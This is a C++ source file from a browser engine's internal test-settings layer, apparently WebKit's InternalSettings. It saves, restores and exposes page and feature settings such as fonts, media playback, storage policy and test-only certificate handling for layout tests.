#include "DeprecatedGlobalSettings.h"
#include "Document.h"
#include "FontCache.h"
#include "Frame.h"
#include "FrameView.h"
#include "LocaleToScriptMapping.h"
#include "Page.h"
#include "PageGroup.h"
#include "PlatformMediaSessionManager.h"
#include "RenderTheme.h"
#include "RuntimeEnabledFeatures.h"
#include "Settings.h"
#include "Supplementable.h"
#include <wtf/Language.h>
#if ENABLE(INPUT_TYPE_COLOR)
#include "ColorChooser.h"
#endif
#if USE(SOUP)
#include "SoupNetworkSession.h"
#endif
#if PLATFORM(GTK)
#include <gtk/gtk.h>
#endif
namespace WebCore {
InternalSettings::Backup::Backup(Settings& settings)
: m_originalEditingBehavior(settings.editingBehaviorType())
#if ENABLE(TEXT_AUTOSIZING)
, m_originalTextAutosizingEnabled(settings.textAutosizingEnabled())
, m_originalTextAutosizingWindowSizeOverride(settings.textAutosizingWindowSizeOverride())
, m_originalTextAutosizingUsesIdempotentMode(settings.textAutosizingUsesIdempotentMode())
#endif
, m_originalMediaTypeOverride(settings.mediaTypeOverride())
, m_originalCanvasUsesAcceleratedDrawing(settings.canvasUsesAcceleratedDrawing())
, m_originalMockScrollbarsEnabled(DeprecatedGlobalSettings::mockScrollbarsEnabled())
, m_imagesEnabled(settings.areImagesEnabled())
, m_preferMIMETypeForImages(settings.preferMIMETypeForImages())
, m_minimumDOMTimerInterval(settings.minimumDOMTimerInterval())
#if ENABLE(VIDEO_TRACK)
, m_shouldDisplaySubtitles(settings.shouldDisplaySubtitles())
, m_shouldDisplayCaptions(settings.shouldDisplayCaptions())
, m_shouldDisplayTextDescriptions(settings.shouldDisplayTextDescriptions())
#endif
, m_defaultVideoPosterURL(settings.defaultVideoPosterURL())
, m_forcePendingWebGLPolicy(settings.isForcePendingWebGLPolicy())
, m_originalTimeWithoutMouseMovementBeforeHidingControls(settings.timeWithoutMouseMovementBeforeHidingControls())
, m_useLegacyBackgroundSizeShorthandBehavior(settings.useLegacyBackgroundSizeShorthandBehavior())
, m_autoscrollForDragAndDropEnabled(settings.autoscrollForDragAndDropEnabled())
, m_quickTimePluginReplacementEnabled(settings.quickTimePluginReplacementEnabled())
, m_youTubeFlashPluginReplacementEnabled(settings.youTubeFlashPluginReplacementEnabled())
, m_shouldConvertPositionStyleOnCopy(settings.shouldConvertPositionStyleOnCopy())
, m_fontFallbackPrefersPictographs(settings.fontFallbackPrefersPictographs())
, m_shouldIgnoreFontLoadCompletions(settings.shouldIgnoreFontLoadCompletions())
, m_backgroundShouldExtendBeyondPage(settings.backgroundShouldExtendBeyondPage())
, m_storageBlockingPolicy(settings.storageBlockingPolicy())
, m_scrollingTreeIncludesFrames(settings.scrollingTreeIncludesFrames())
#if ENABLE(TOUCH_EVENTS)
, m_touchEventEmulationEnabled(settings.isTouchEventEmulationEnabled())
#endif
#if ENABLE(WIRELESS_PLAYBACK_TARGET)
, m_allowsAirPlayForMediaPlayback(settings.allowsAirPlayForMediaPlayback())
#endif
, m_allowsInlineMediaPlayback(settings.allowsInlineMediaPlayback())
, m_allowsInlineMediaPlaybackAfterFullscreen(settings.allowsInlineMediaPlaybackAfterFullscreen())
, m_inlineMediaPlaybackRequiresPlaysInlineAttribute(settings.inlineMediaPlaybackRequiresPlaysInlineAttribute())
, m_deferredCSSParserEnabled(settings.deferredCSSParserEnabled())
, m_inputEventsEnabled(settings.inputEventsEnabled())
, m_incompleteImageBorderEnabled(settings.incompleteImageBorderEnabled())
, m_shouldDispatchSyntheticMouseEventsWhenModifyingSelection(settings.shouldDispatchSyntheticMouseEventsWhenModifyingSelection())
, m_shouldDispatchSyntheticMouseOutAfterSyntheticClick(settings.shouldDispatchSyntheticMouseOutAfterSyntheticClick())
, m_shouldDeactivateAudioSession(PlatformMediaSessionManager::shouldDeactivateAudioSession())
, m_userInterfaceDirectionPolicy(settings.userInterfaceDirectionPolicy())
, m_systemLayoutDirection(settings.systemLayoutDirection())
, m_pdfImageCachingPolicy(settings.pdfImageCachingPolicy())
, m_forcedColorsAreInvertedAccessibilityValue(settings.forcedColorsAreInvertedAccessibilityValue())
, m_forcedDisplayIsMonochromeAccessibilityValue(settings.forcedDisplayIsMonochromeAccessibilityValue())
, m_forcedPrefersReducedMotionAccessibilityValue(settings.forcedPrefersReducedMotionAccessibilityValue())
, m_fontLoadTimingOverride(settings.fontLoadTimingOverride())
, m_frameFlattening(settings.frameFlattening())
#if ENABLE(INDEXED_DATABASE_IN_WORKERS)
, m_indexedDBWorkersEnabled(RuntimeEnabledFeatures::sharedFeatures().indexedDBWorkersEnabled())
#endif
#if ENABLE(WEBGL2)
, m_webGL2Enabled(RuntimeEnabledFeatures::sharedFeatures().webGL2Enabled())
#endif
, m_webVREnabled(RuntimeEnabledFeatures::sharedFeatures().webVREnabled())
#if ENABLE(MEDIA_STREAM)
, m_setScreenCaptureEnabled(RuntimeEnabledFeatures::sharedFeatures().screenCaptureEnabled())
#endif
, m_shouldMockBoldSystemFontForAccessibility(RenderTheme::singleton().shouldMockBoldSystemFontForAccessibility())
#if USE(AUDIO_SESSION)
, m_shouldManageAudioSessionCategory(DeprecatedGlobalSettings::shouldManageAudioSessionCategory())
#endif
, m_customPasteboardDataEnabled(RuntimeEnabledFeatures::sharedFeatures().customPasteboardDataEnabled())
{
}
void InternalSettings::Backup::restoreTo(Settings& settings)
{
settings.setEditingBehaviorType(m_originalEditingBehavior);
for (const auto& standardFont : m_standardFontFamilies)
settings.setStandardFontFamily(standardFont.value, static_cast<UScriptCode>(standardFont.key));
m_standardFontFamilies.clear();
for (const auto& fixedFont : m_fixedFontFamilies)
settings.setFixedFontFamily(fixedFont.value, static_cast<UScriptCode>(fixedFont.key));
m_fixedFontFamilies.clear();
for (const auto& serifFont : m_serifFontFamilies)
settings.setSerifFontFamily(serifFont.value, static_cast<UScriptCode>(serifFont.key));
m_serifFontFamilies.clear();
for (const auto& sansSerifFont : m_sansSerifFontFamilies)
settings.setSansSerifFontFamily(sansSerifFont.value, static_cast<UScriptCode>(sansSerifFont.key));
m_sansSerifFontFamilies.clear();
for (const auto& cursiveFont : m_cursiveFontFamilies)
settings.setCursiveFontFamily(cursiveFont.value, static_cast<UScriptCode>(cursiveFont.key));
m_cursiveFontFamilies.clear();
for (const auto& fantasyFont : m_fantasyFontFamilies)
settings.setFantasyFontFamily(fantasyFont.value, static_cast<UScriptCode>(fantasyFont.key));
m_fantasyFontFamilies.clear();
for (const auto& pictographFont : m_pictographFontFamilies)
settings.setPictographFontFamily(pictographFont.value, static_cast<UScriptCode>(pictographFont.key));
m_pictographFontFamilies.clear();
#if ENABLE(TEXT_AUTOSIZING)
settings.setTextAutosizingEnabled(m_originalTextAutosizingEnabled);
settings.setTextAutosizingWindowSizeOverride(m_originalTextAutosizingWindowSizeOverride);
settings.setTextAutosizingUsesIdempotentMode(m_originalTextAutosizingUsesIdempotentMode);
#endif
settings.setMediaTypeOverride(m_originalMediaTypeOverride);
settings.setCanvasUsesAcceleratedDrawing(m_originalCanvasUsesAcceleratedDrawing);
settings.setImagesEnabled(m_imagesEnabled);
settings.setPreferMIMETypeForImages(m_preferMIMETypeForImages);
settings.setMinimumDOMTimerInterval(m_minimumDOMTimerInterval);
#if ENABLE(VIDEO_TRACK)
settings.setShouldDisplaySubtitles(m_shouldDisplaySubtitles);
settings.setShouldDisplayCaptions(m_shouldDisplayCaptions);
settings.setShouldDisplayTextDescriptions(m_shouldDisplayTextDescriptions);
#endif
settings.setDefaultVideoPosterURL(m_defaultVideoPosterURL);
settings.setForcePendingWebGLPolicy(m_forcePendingWebGLPolicy);
settings.setTimeWithoutMouseMovementBeforeHidingControls(m_originalTimeWithoutMouseMovementBeforeHidingControls);
settings.setUseLegacyBackgroundSizeShorthandBehavior(m_useLegacyBackgroundSizeShorthandBehavior);
settings.setAutoscrollForDragAndDropEnabled(m_autoscrollForDragAndDropEnabled);
settings.setShouldConvertPositionStyleOnCopy(m_shouldConvertPositionStyleOnCopy);
settings.setFontFallbackPrefersPictographs(m_fontFallbackPrefersPictographs);
settings.setShouldIgnoreFontLoadCompletions(m_shouldIgnoreFontLoadCompletions);
settings.setBackgroundShouldExtendBeyondPage(m_backgroundShouldExtendBeyondPage);
settings.setStorageBlockingPolicy(m_storageBlockingPolicy);
settings.setScrollingTreeIncludesFrames(m_scrollingTreeIncludesFrames);
#if ENABLE(TOUCH_EVENTS)
settings.setTouchEventEmulationEnabled(m_touchEventEmulationEnabled);
#endif
settings.setAllowsInlineMediaPlayback(m_allowsInlineMediaPlayback);
settings.setAllowsInlineMediaPlaybackAfterFullscreen(m_allowsInlineMediaPlaybackAfterFullscreen);
settings.setInlineMediaPlaybackRequiresPlaysInlineAttribute(m_inlineMediaPlaybackRequiresPlaysInlineAttribute);
settings.setQuickTimePluginReplacementEnabled(m_quickTimePluginReplacementEnabled);
settings.setYouTubeFlashPluginReplacementEnabled(m_youTubeFlashPluginReplacementEnabled);
settings.setDeferredCSSParserEnabled(m_deferredCSSParserEnabled);
settings.setInputEventsEnabled(m_inputEventsEnabled);
settings.setUserInterfaceDirectionPolicy(m_userInterfaceDirectionPolicy);
settings.setSystemLayoutDirection(m_systemLayoutDirection);
settings.setPdfImageCachingPolicy(m_pdfImageCachingPolicy);
settings.setForcedColorsAreInvertedAccessibilityValue(m_forcedColorsAreInvertedAccessibilityValue);
settings.setForcedDisplayIsMonochromeAccessibilityValue(m_forcedDisplayIsMonochromeAccessibilityValue);
settings.setForcedPrefersReducedMotionAccessibilityValue(m_forcedPrefersReducedMotionAccessibilityValue);
settings.setFontLoadTimingOverride(m_fontLoadTimingOverride);
DeprecatedGlobalSettings::setAllowsAnySSLCertificate(false);
RenderTheme::singleton().setShouldMockBoldSystemFontForAccessibility(m_shouldMockBoldSystemFontForAccessibility);
FontCache::singleton().setShouldMockBoldSystemFontForAccessibility(m_shouldMockBoldSystemFontForAccessibility);
settings.setFrameFlattening(m_frameFlattening);
settings.setIncompleteImageBorderEnabled(m_incompleteImageBorderEnabled);
settings.setShouldDispatchSyntheticMouseEventsWhenModifyingSelection(m_shouldDispatchSyntheticMouseEventsWhenModifyingSelection);
settings.setShouldDispatchSyntheticMouseOutAfterSyntheticClick(m_shouldDispatchSyntheticMouseOutAfterSyntheticClick);
PlatformMediaSessionManager::setShouldDeactivateAudioSession(m_shouldDeactivateAudioSession);
#if ENABLE(INDEXED_DATABASE_IN_WORKERS)
RuntimeEnabledFeatures::sharedFeatures().setIndexedDBWorkersEnabled(m_indexedDBWorkersEnabled);
#endif
#if ENABLE(WEBGL2)
RuntimeEnabledFeatures::sharedFeatures().setWebGL2Enabled(m_webGL2Enabled);
#endif
RuntimeEnabledFeatures::sharedFeatures().setWebVREnabled(m_webVREnabled);
#if ENABLE(MEDIA_STREAM)
RuntimeEnabledFeatures::sharedFeatures().setScreenCaptureEnabled(m_setScreenCaptureEnabled);
#endif
RuntimeEnabledFeatures::sharedFeatures().setCustomPasteboardDataEnabled(m_customPasteboardDataEnabled);
#if USE(AUDIO_SESSION)
DeprecatedGlobalSettings::setShouldManageAudioSessionCategory(m_shouldManageAudioSessionCategory);
#endif
}
class InternalSettingsWrapper : public Supplement<Page> {
public:
explicit InternalSettingsWrapper(Page* page)
: m_internalSettings(InternalSettings::create(page)) { }
virtual ~InternalSettingsWrapper() { m_internalSettings->hostDestroyed(); }
#if !ASSERT_DISABLED
bool isRefCountedWrapper() const override { return true; }
#endif
InternalSettings* internalSettings() const { return m_internalSettings.get(); }
private:
RefPtr<InternalSettings> m_internalSettings;
};
const char* InternalSettings::supplementName()
{
return "InternalSettings";
}
InternalSettings* InternalSettings::from(Page* page)
{
if (!Supplement<Page>::from(page, supplementName()))
Supplement<Page>::provideTo(page, supplementName(), std::make_unique<InternalSettingsWrapper>(page));
return static_cast<InternalSettingsWrapper*>(Supplement<Page>::from(page, supplementName()))->internalSettings();
}
void InternalSettings::hostDestroyed()
{
m_page = nullptr;
}
InternalSettings::InternalSettings(Page* page)
: InternalSettingsGenerated(page)
, m_page(page)
, m_backup(page->settings())
{
#if ENABLE(WIRELESS_PLAYBACK_TARGET)
setAllowsAirPlayForMediaPlayback(false);
#endif
#if ENABLE(MEDIA_STREAM)
setMediaCaptureRequiresSecureConnection(false);
#endif
}
Ref<InternalSettings> InternalSettings::create(Page* page)
{
return adoptRef(*new InternalSettings(page));
}
void InternalSettings::resetToConsistentState()
{
m_page->setPageScaleFactor(1, { 0, 0 });
m_page->mainFrame().setPageAndTextZoomFactors(1, 1);
m_page->setCanStartMedia(true);
setUseDarkAppearanceInternal(false);
settings().setForcePendingWebGLPolicy(false);
#if ENABLE(WIRELESS_PLAYBACK_TARGET)
settings().setAllowsAirPlayForMediaPlayback(false);
#endif
#if ENABLE(MEDIA_STREAM)
setMediaCaptureRequiresSecureConnection(false);
#endif
m_backup.restoreTo(settings());
m_backup = Backup { settings() };
InternalSettingsGenerated::resetToConsistentState();
}
Settings& InternalSettings::settings() const
{
ASSERT(m_page);
return m_page->settings();
}
ExceptionOr<void> InternalSettings::setTouchEventEmulationEnabled(bool enabled)
{
if (!m_page)
return Exception { InvalidAccessError };
#if ENABLE(TOUCH_EVENTS)
settings().setTouchEventEmulationEnabled(enabled);
#else
UNUSED_PARAM(enabled);
#endif
return { };
}
ExceptionOr<void> InternalSettings::setStandardFontFamily(const String& family, const String& script)
{
if (!m_page)
return Exception { InvalidAccessError };
UScriptCode code = scriptNameToCode(script);
if (code == USCRIPT_INVALID_CODE)
return { };
m_backup.m_standardFontFamilies.add(code, settings().standardFontFamily(code));
settings().setStandardFontFamily(family, code);
return { };
}
ExceptionOr<void> InternalSettings::setSerifFontFamily(const String& family, const String& script)
{
if (!m_page)
return Exception { InvalidAccessError };
UScriptCode code = scriptNameToCode(script);
if (code == USCRIPT_INVALID_CODE)
return { };
m_backup.m_serifFontFamilies.add(code, settings().serifFontFamily(code));
settings().setSerifFontFamily(family, code);
return { };
}
ExceptionOr<void> InternalSettings::setSansSerifFontFamily(const String& family, const String& script)
{
if (!m_page)
return Exception { InvalidAccessError };
UScriptCode code = scriptNameToCode(script);
if (code == USCRIPT_INVALID_CODE)
return { };
m_backup.m_sansSerifFontFamilies.add(code, settings().sansSerifFontFamily(code));
settings().setSansSerifFontFamily(family, code);
return { };
}
ExceptionOr<void> InternalSettings::setFixedFontFamily(const String& family, const String& script)
{
if (!m_page)
return Exception { InvalidAccessError };
UScriptCode code = scriptNameToCode(script);
if (code == USCRIPT_INVALID_CODE)
return { };
m_backup.m_fixedFontFamilies.add(code, settings().fixedFontFamily(code));
settings().setFixedFontFamily(family, code);
return { };
}
ExceptionOr<void> InternalSettings::setCursiveFontFamily(const String& family, const String& script)
{
if (!m_page)
return Exception { InvalidAccessError };
UScriptCode code = scriptNameToCode(script);
if (code == USCRIPT_INVALID_CODE)
return { };
m_backup.m_cursiveFontFamilies.add(code, settings().cursiveFontFamily(code));
settings().setCursiveFontFamily(family, code);
return { };
}
ExceptionOr<void> InternalSettings::setFantasyFontFamily(const String& family, const String& script)
{
if (!m_page)
return Exception { InvalidAccessError };
UScriptCode code = scriptNameToCode(script);
if (code == USCRIPT_INVALID_CODE)
return { };
m_backup.m_fantasyFontFamilies.add(code, settings().fantasyFontFamily(code));
settings().setFantasyFontFamily(family, code);
return { };
}
ExceptionOr<void> InternalSettings::setPictographFontFamily(const String& family, const String& script)
{
if (!m_page)
return Exception { InvalidAccessError };
UScriptCode code = scriptNameToCode(script);
if (code == USCRIPT_INVALID_CODE)
return { };
m_backup.m_pictographFontFamilies.add(code, settings().pictographFontFamily(code));
settings().setPictographFontFamily(family, code);
return { };
}
ExceptionOr<void> InternalSettings::setTextAutosizingEnabled(bool enabled)
{
if (!m_page)
return Exception { InvalidAccessError };
#if ENABLE(TEXT_AUTOSIZING)
settings().setTextAutosizingEnabled(enabled);
#else
UNUSED_PARAM(enabled);
#endif
return { };
}
ExceptionOr<void> InternalSettings::setTextAutosizingWindowSizeOverride(int width, int height)
{
if (!m_page)
return Exception { InvalidAccessError };
#if ENABLE(TEXT_AUTOSIZING)
settings().setTextAutosizingWindowSizeOverride(IntSize(width, height));
#else
UNUSED_PARAM(width);
UNUSED_PARAM(height);
#endif
return { };
}
ExceptionOr<void> InternalSettings::setTextAutosizingUsesIdempotentMode(bool enabled)
{
if (!m_page)
return Exception { InvalidAccessError };
#if ENABLE(TEXT_AUTOSIZING)
settings().setTextAutosizingUsesIdempotentMode(enabled);
#else
UNUSED_PARAM(enabled);
#endif
return { };
}
ExceptionOr<void> InternalSettings::setMediaTypeOverride(const String& mediaType)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setMediaTypeOverride(mediaType);
return { };
}
ExceptionOr<void> InternalSettings::setCanStartMedia(bool enabled)
{
if (!m_page)
return Exception { InvalidAccessError };
m_page->setCanStartMedia(enabled);
return { };
}
ExceptionOr<void> InternalSettings::setAllowsAirPlayForMediaPlayback(bool allows)
{
if (!m_page)
return Exception { InvalidAccessError };
#if ENABLE(WIRELESS_PLAYBACK_TARGET)
settings().setAllowsAirPlayForMediaPlayback(allows);
#else
UNUSED_PARAM(allows);
#endif
return { };
}
ExceptionOr<void> InternalSettings::setMediaCaptureRequiresSecureConnection(bool requires)
{
if (!m_page)
return Exception { InvalidAccessError };
#if ENABLE(MEDIA_STREAM)
m_page->settings().setMediaCaptureRequiresSecureConnection(requires);
#else
UNUSED_PARAM(requires);
#endif
return { };
}
ExceptionOr<void> InternalSettings::setEditingBehavior(const String& editingBehavior)
{
if (!m_page)
return Exception { InvalidAccessError };
if (equalLettersIgnoringASCIICase(editingBehavior, "win"))
settings().setEditingBehaviorType(EditingWindowsBehavior);
else if (equalLettersIgnoringASCIICase(editingBehavior, "mac"))
settings().setEditingBehaviorType(EditingMacBehavior);
else if (equalLettersIgnoringASCIICase(editingBehavior, "unix"))
settings().setEditingBehaviorType(EditingUnixBehavior);
else if (equalLettersIgnoringASCIICase(editingBehavior, "ios"))
settings().setEditingBehaviorType(EditingIOSBehavior);
else
return Exception { SyntaxError };
return { };
}
ExceptionOr<void> InternalSettings::setShouldDisplayTrackKind(const String& kind, bool enabled)
{
if (!m_page)
return Exception { InvalidAccessError };
#if ENABLE(VIDEO_TRACK)
auto& captionPreferences = m_page->group().captionPreferences();
if (equalLettersIgnoringASCIICase(kind, "subtitles"))
captionPreferences.setUserPrefersSubtitles(enabled);
else if (equalLettersIgnoringASCIICase(kind, "captions"))
captionPreferences.setUserPrefersCaptions(enabled);
else if (equalLettersIgnoringASCIICase(kind, "textdescriptions"))
captionPreferences.setUserPrefersTextDescriptions(enabled);
else
return Exception { SyntaxError };
#else
UNUSED_PARAM(kind);
UNUSED_PARAM(enabled);
#endif
return { };
}
ExceptionOr<bool> InternalSettings::shouldDisplayTrackKind(const String& kind)
{
if (!m_page)
return Exception { InvalidAccessError };
#if ENABLE(VIDEO_TRACK)
auto& captionPreferences = m_page->group().captionPreferences();
if (equalLettersIgnoringASCIICase(kind, "subtitles"))
return captionPreferences.userPrefersSubtitles();
if (equalLettersIgnoringASCIICase(kind, "captions"))
return captionPreferences.userPrefersCaptions();
if (equalLettersIgnoringASCIICase(kind, "textdescriptions"))
return captionPreferences.userPrefersTextDescriptions();
return Exception { SyntaxError };
#else
UNUSED_PARAM(kind);
return false;
#endif
}
void InternalSettings::setUseDarkAppearanceInternal(bool useDarkAppearance)
{
#if PLATFORM(GTK)
// GTK doesn't allow to change the theme from the web process, but tests need to do it, so
// we do it here only for tests.
if (auto* settings = gtk_settings_get_default()) {
gboolean preferDarkTheme;
g_object_get(settings, "gtk-application-prefer-dark-theme", &preferDarkTheme, nullptr);
if (preferDarkTheme != useDarkAppearance)
g_object_set(settings, "gtk-application-prefer-dark-theme", useDarkAppearance, nullptr);
}
#endif
ASSERT(m_page);
m_page->effectiveAppearanceDidChange(useDarkAppearance, m_page->useElevatedUserInterfaceLevel());
}
ExceptionOr<void> InternalSettings::setUseDarkAppearance(bool useDarkAppearance)
{
if (!m_page)
return Exception { InvalidAccessError };
setUseDarkAppearanceInternal(useDarkAppearance);
return { };
}
ExceptionOr<void> InternalSettings::setStorageBlockingPolicy(const String& mode)
{
if (!m_page)
return Exception { InvalidAccessError };
if (mode == "AllowAll")
settings().setStorageBlockingPolicy(SecurityOrigin::AllowAllStorage);
else if (mode == "BlockThirdParty")
settings().setStorageBlockingPolicy(SecurityOrigin::BlockThirdPartyStorage);
else if (mode == "BlockAll")
settings().setStorageBlockingPolicy(SecurityOrigin::BlockAllStorage);
else
return Exception { SyntaxError };
return { };
}
ExceptionOr<void> InternalSettings::setPreferMIMETypeForImages(bool preferMIMETypeForImages)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setPreferMIMETypeForImages(preferMIMETypeForImages);
return { };
}
ExceptionOr<void> InternalSettings::setImagesEnabled(bool enabled)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setImagesEnabled(enabled);
return { };
}
ExceptionOr<void> InternalSettings::setPDFImageCachingPolicy(const String& policy)
{
if (!m_page)
return Exception { InvalidAccessError };
if (equalLettersIgnoringASCIICase(policy, "disabled"))
settings().setPdfImageCachingPolicy(PDFImageCachingDisabled);
else if (equalLettersIgnoringASCIICase(policy, "belowmemorylimit"))
settings().setPdfImageCachingPolicy(PDFImageCachingBelowMemoryLimit);
else if (equalLettersIgnoringASCIICase(policy, "clipboundsonly"))
settings().setPdfImageCachingPolicy(PDFImageCachingClipBoundsOnly);
else if (equalLettersIgnoringASCIICase(policy, "enabled"))
settings().setPdfImageCachingPolicy(PDFImageCachingEnabled);
else
return Exception { SyntaxError };
return { };
}
ExceptionOr<void> InternalSettings::setMinimumTimerInterval(double intervalInSeconds)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setMinimumDOMTimerInterval(Seconds { intervalInSeconds });
return { };
}
ExceptionOr<void> InternalSettings::setDefaultVideoPosterURL(const String& url)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setDefaultVideoPosterURL(url);
return { };
}
ExceptionOr<void> InternalSettings::setForcePendingWebGLPolicy(bool forced)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setForcePendingWebGLPolicy(forced);
return { };
}
ExceptionOr<void> InternalSettings::setTimeWithoutMouseMovementBeforeHidingControls(double time)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setTimeWithoutMouseMovementBeforeHidingControls(Seconds { time });
return { };
}
ExceptionOr<void> InternalSettings::setUseLegacyBackgroundSizeShorthandBehavior(bool enabled)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setUseLegacyBackgroundSizeShorthandBehavior(enabled);
return { };
}
ExceptionOr<void> InternalSettings::setAutoscrollForDragAndDropEnabled(bool enabled)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setAutoscrollForDragAndDropEnabled(enabled);
return { };
}
ExceptionOr<void> InternalSettings::setFontFallbackPrefersPictographs(bool preferPictographs)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setFontFallbackPrefersPictographs(preferPictographs);
return { };
}
ExceptionOr<void> InternalSettings::setFontLoadTimingOverride(const FontLoadTimingOverride& fontLoadTimingOverride)
{
if (!m_page)
return Exception { InvalidAccessError };
auto policy = Settings::FontLoadTimingOverride::None;
switch (fontLoadTimingOverride) {
case FontLoadTimingOverride::Block:
policy = Settings::FontLoadTimingOverride::Block;
break;
case FontLoadTimingOverride::Swap:
policy = Settings::FontLoadTimingOverride::Swap;
break;
case FontLoadTimingOverride::Failure:
policy = Settings::FontLoadTimingOverride::Failure;
break;
}
settings().setFontLoadTimingOverride(policy);
return { };
}
ExceptionOr<void> InternalSettings::setShouldIgnoreFontLoadCompletions(bool ignore)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setShouldIgnoreFontLoadCompletions(ignore);
return { };
}
ExceptionOr<void> InternalSettings::setQuickTimePluginReplacementEnabled(bool enabled)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setQuickTimePluginReplacementEnabled(enabled);
return { };
}
ExceptionOr<void> InternalSettings::setYouTubeFlashPluginReplacementEnabled(bool enabled)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setYouTubeFlashPluginReplacementEnabled(enabled);
return { };
}
ExceptionOr<void> InternalSettings::setBackgroundShouldExtendBeyondPage(bool hasExtendedBackground)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setBackgroundShouldExtendBeyondPage(hasExtendedBackground);
return { };
}
ExceptionOr<void> InternalSettings::setShouldConvertPositionStyleOnCopy(bool convert)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setShouldConvertPositionStyleOnCopy(convert);
return { };
}
ExceptionOr<void> InternalSettings::setScrollingTreeIncludesFrames(bool enabled)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setScrollingTreeIncludesFrames(enabled);
return { };
}
ExceptionOr<void> InternalSettings::setAllowUnclampedScrollPosition(bool allowUnclamped)
{
if (!m_page || !m_page->mainFrame().view())
return Exception { InvalidAccessError };
m_page->mainFrame().view()->setAllowsUnclampedScrollPositionForTesting(allowUnclamped);
return { };
}
ExceptionOr<void> InternalSettings::setAllowsInlineMediaPlayback(bool allows)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setAllowsInlineMediaPlayback(allows);
return { };
}
ExceptionOr<void> InternalSettings::setAllowsInlineMediaPlaybackAfterFullscreen(bool allows)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setAllowsInlineMediaPlaybackAfterFullscreen(allows);
return { };
}
ExceptionOr<void> InternalSettings::setInlineMediaPlaybackRequiresPlaysInlineAttribute(bool requires)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setInlineMediaPlaybackRequiresPlaysInlineAttribute(requires);
return { };
}
ExceptionOr<void> InternalSettings::setShouldMockBoldSystemFontForAccessibility(bool requires)
{
if (!m_page)
return Exception { InvalidAccessError };
RenderTheme::singleton().setShouldMockBoldSystemFontForAccessibility(requires);
FontCache::singleton().setShouldMockBoldSystemFontForAccessibility(requires);
return { };
}
void InternalSettings::setIndexedDBWorkersEnabled(bool enabled)
{
#if ENABLE(INDEXED_DATABASE_IN_WORKERS)
RuntimeEnabledFeatures::sharedFeatures().setIndexedDBWorkersEnabled(enabled);
#else
UNUSED_PARAM(enabled);
#endif
}
void InternalSettings::setWebGL2Enabled(bool enabled)
{
#if ENABLE(WEBGL2)
RuntimeEnabledFeatures::sharedFeatures().setWebGL2Enabled(enabled);
#else
UNUSED_PARAM(enabled);
#endif
}
void InternalSettings::setWebGPUEnabled(bool enabled)
{
#if ENABLE(WEBGPU)
RuntimeEnabledFeatures::sharedFeatures().setWebGPUEnabled(enabled);
#else
UNUSED_PARAM(enabled);
#endif
}
void InternalSettings::setWebVREnabled(bool enabled)
{
RuntimeEnabledFeatures::sharedFeatures().setWebVREnabled(enabled);
}
void InternalSettings::setScreenCaptureEnabled(bool enabled)
{
#if ENABLE(MEDIA_STREAM)
RuntimeEnabledFeatures::sharedFeatures().setScreenCaptureEnabled(enabled);
#else
UNUSED_PARAM(enabled);
#endif
}
ExceptionOr<String> InternalSettings::userInterfaceDirectionPolicy()
{
if (!m_page)
return Exception { InvalidAccessError };
switch (settings().userInterfaceDirectionPolicy()) {
case UserInterfaceDirectionPolicy::Content:
return "Content"_str;
case UserInterfaceDirectionPolicy::System:
return "View"_str;
}
ASSERT_NOT_REACHED();
return Exception { InvalidAccessError };
}
ExceptionOr<void> InternalSettings::setUserInterfaceDirectionPolicy(const String& policy)
{
if (!m_page)
return Exception { InvalidAccessError };
if (equalLettersIgnoringASCIICase(policy, "content")) {
settings().setUserInterfaceDirectionPolicy(UserInterfaceDirectionPolicy::Content);
return { };
}
if (equalLettersIgnoringASCIICase(policy, "view")) {
settings().setUserInterfaceDirectionPolicy(UserInterfaceDirectionPolicy::System);
return { };
}
return Exception { InvalidAccessError };
}
ExceptionOr<String> InternalSettings::systemLayoutDirection()
{
if (!m_page)
return Exception { InvalidAccessError };
switch (settings().systemLayoutDirection()) {
case TextDirection::LTR:
return "LTR"_str;
case TextDirection::RTL:
return "RTL"_str;
}
ASSERT_NOT_REACHED();
return Exception { InvalidAccessError };
}
ExceptionOr<void> InternalSettings::setSystemLayoutDirection(const String& direction)
{
if (!m_page)
return Exception { InvalidAccessError };
if (equalLettersIgnoringASCIICase(direction, "ltr")) {
settings().setSystemLayoutDirection(TextDirection::LTR);
return { };
}
if (equalLettersIgnoringASCIICase(direction, "rtl")) {
settings().setSystemLayoutDirection(TextDirection::RTL);
return { };
}
return Exception { InvalidAccessError };
}
ExceptionOr<void> InternalSettings::setFrameFlattening(FrameFlatteningValue frameFlattening)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setFrameFlattening(frameFlattening);
return { };
}
void InternalSettings::setAllowsAnySSLCertificate(bool allowsAnyCertificate)
{
DeprecatedGlobalSettings::setAllowsAnySSLCertificate(allowsAnyCertificate);
#if USE(SOUP)
SoupNetworkSession::setShouldIgnoreTLSErrors(allowsAnyCertificate);
#endif
}
ExceptionOr<bool> InternalSettings::deferredCSSParserEnabled()
{
if (!m_page)
return Exception { InvalidAccessError };
return settings().deferredCSSParserEnabled();
}
ExceptionOr<void> InternalSettings::setDeferredCSSParserEnabled(bool enabled)
{
if (!m_page)
return Exception { InvalidAccessError };
settings().setDeferredCSSParserEnabled(enabled);
return { };
}
ExceptionOr<void> InternalSettings::setShouldManageAudioSessionCategory(bool should)
{
#if USE(AUDIO_SESSION)
DeprecatedGlobalSettings::setShouldManageAudioSessionCategory(should);
return { };
#else
UNUSED_PARAM(should);
return Exception { InvalidAccessError };
#endif
}
ExceptionOr<void> InternalSettings::setCustomPasteboardDataEnabled(bool enabled)
{
RuntimeEnabledFeatures::sharedFeatures().setCustomPasteboardDataEnabled(enabled);
return { };
}
